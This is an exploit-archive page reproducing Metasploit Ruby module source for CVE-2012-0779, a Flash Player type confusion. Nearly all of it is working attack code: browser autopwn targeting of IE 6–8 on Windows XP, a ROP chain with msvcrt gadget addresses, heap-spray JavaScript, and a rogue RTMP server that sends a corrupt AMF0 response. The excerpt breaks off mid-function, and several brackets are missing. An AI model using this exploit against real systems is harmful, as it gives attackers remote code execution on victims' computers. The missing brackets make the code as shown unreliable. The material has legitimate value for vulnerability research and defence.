发布 2012-06-25 漏洞条目

Adobe Flash Player – Object Type Confusion (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name => OperatingSystems::WINDOWS,

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "8.0",

:method => "GetVariable",

:classid => "ShockwaveFlash.ShockwaveFlash",

:rank => NormalRanking, # reliable memory corruption

:javascript => true

})

def initialize(info={})

super(update_info(info,

'Name' => "Adobe Flash Player Object Type Confusion",

'Description' => %q{

This module exploits a vulnerability found in Adobe Flash

Player. By supplying a corrupt AMF0 "_error" response, it

is possible to gain arbitrary remote code execution under

the context of the user.

This vulnerability has been exploited in the wild as part of

the "World Uyghur Congress Invitation.doc" e-mail attack.

According to the advisory, 10.3.183.19 and 11.x before

11.2.202.235 are affected.

'License' => MSF_LICENSE,

'Author' =>

[

'sinn3r', # Metasploit module

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2012-0779' ],

[ 'OSVDB', '81656'],

[ 'BID', '53395' ],

[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info

[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]

'Payload' =>

{

#'Space' => 1024,

'BadChars' => "\x00"

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

# Flash Player 11.2.202.228

[ 'Automatic', {} ],

[

'IE 6 on Windows XP SP3',

{

'Rop' => nil,

'RandomHeap' => false,

'Offset' => '0x0'

}

[

'IE 7 on Windows XP SP3',

{

'Rop' => nil,

'RandomHeap' => false,

'Offset' => '0x0'

}

[

'IE 8 on Windows XP SP3 with msvcrt ROP',

{

'Rop' => :msvcrt,

'RandomHeap' => false,

'Offset' => '238',

'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll

}

]

'Privileged' => false,

'DisclosureDate' => "May 04 2012",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),

OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),

OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]),

], self.class

)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1] #IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/

return targets[3] #IE 8 on Windows XP SP3

else

return nil

end

def junk(n=4)

return rand_text_alpha(n).unpack("V").first

end

def nop

return make_nops(4).unpack("V").first

end

def ret(t)

return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll

end

def popret(t)

return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll

end

def get_rop_chain(t)

# ROP chains generated by mona.py - See corelan.be

print_status("Using msvcrt ROP")

rop =

[

0x77c4e392, # POP EAX # RETN

0x77c11120, # <- *&VirtualProtect()

0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

junk,

0x77c2dd6c,

0x77c4ec00, # POP EBP # RETN

0x77c35459, # ptr to 'push esp # ret'

0x77c47705, # POP EBX # RETN

0x00001000, # EBX

0x77c3ea01, # POP ECX # RETN

0x77c5d000, # W pointer (lpOldProtect) (-> ecx)

0x77c46100, # POP EDI # RETN

0x77c46101, # ROP NOP (-> edi)

0x77c4d680, # POP EDX # RETN

0x00000040, # newProtect (0x40) (-> edx)

0x77c4e392, # POP EAX # RETN

nop, # NOPS (-> eax)

0x77c12df9, # PUSHAD # RETN

].pack("V*")

code = ret(t)

code << rand_text(119)

code << rop

code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem

code << payload.encoded

offset = 2616 - code.length

code << rand_text(offset)

code << [ t['StackPivot'] ].pack("V")

return code

end

def get_easy_spray(t, js_code, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 0x185; z++) {

heap_obj.alloc(block);

}

return spray

end

def get_aligned_spray(t, js_rop, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var nops = unescape("#{js_nops}");

var rop_chain = unescape("#{js_rop}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 0x1c5; z++) {

heap_obj.alloc(block);

}

return spray

end

def exploit

@swf = create_swf

# Boilerplate required to handled pivoted listeners

comm = datastore['ListenerComm']

if comm == "local"

comm = ::Rex::Socket::Comm::Local

else

comm = nil

end

@rtmp_listener = Rex::Socket::TcpServer.create(

'LocalHost' => datastore['RTMPHOST'],

'LocalPort' => datastore['RTMPPORT'],

'Comm' => comm,

'Context' => {

'Msf' => framework,

'MsfExploit' => self,

}

)

# Register callbacks

@rtmp_listener.on_client_connect_proc = Proc.new { |cli|

add_socket(cli)

print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")

on_rtmp_connect(cli)

}

@rtmp_listener.start

super

end

def my_read(cli,size,timeout=nil)

if timeout.nil?

timeout = cli.def_read_timeout

end

buf = ""

::Timeout::timeout(timeout) {

while buf.length < size

buf << cli.get_once(size - buf.length)

end

}

buf

end

def do_handshake(cli)

c0 = my_read(cli, 1)

c1 = my_read(cli, 1536) # HandshakeSize => 1536

s0 = "\3" # s0

s1 = Rex::Text.rand_text(4) # s1.time

s1 << "\x00\x00\x00\x00" # s1.zero

s1 << Rex::Text.rand_text(1528) # s1.random_data

s2 = c1 # s2

cli.put(s0)

cli.put(s1)

cli.put(s2)

c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)

end

def on_rtmp_connect(cli)

begin

do_handshake(cli)

request = my_read(cli, 341) # connect request length

case request

when /connect/

rtmp_header = "\x03" # Chunk Stream ID

rtmp_header << "\x00\x00\x00" # Timestamp

rtmp_header << "\x00\x00\x71" # Body Size

rtmp_header << "\x14" # AMF0 Command

rtmp_header << "\x00\x00\x00\x00" # Stream ID

# String

rtmp_body = "\x02" # String

rtmp_body << "\x00\x06" # String length

rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error

# Number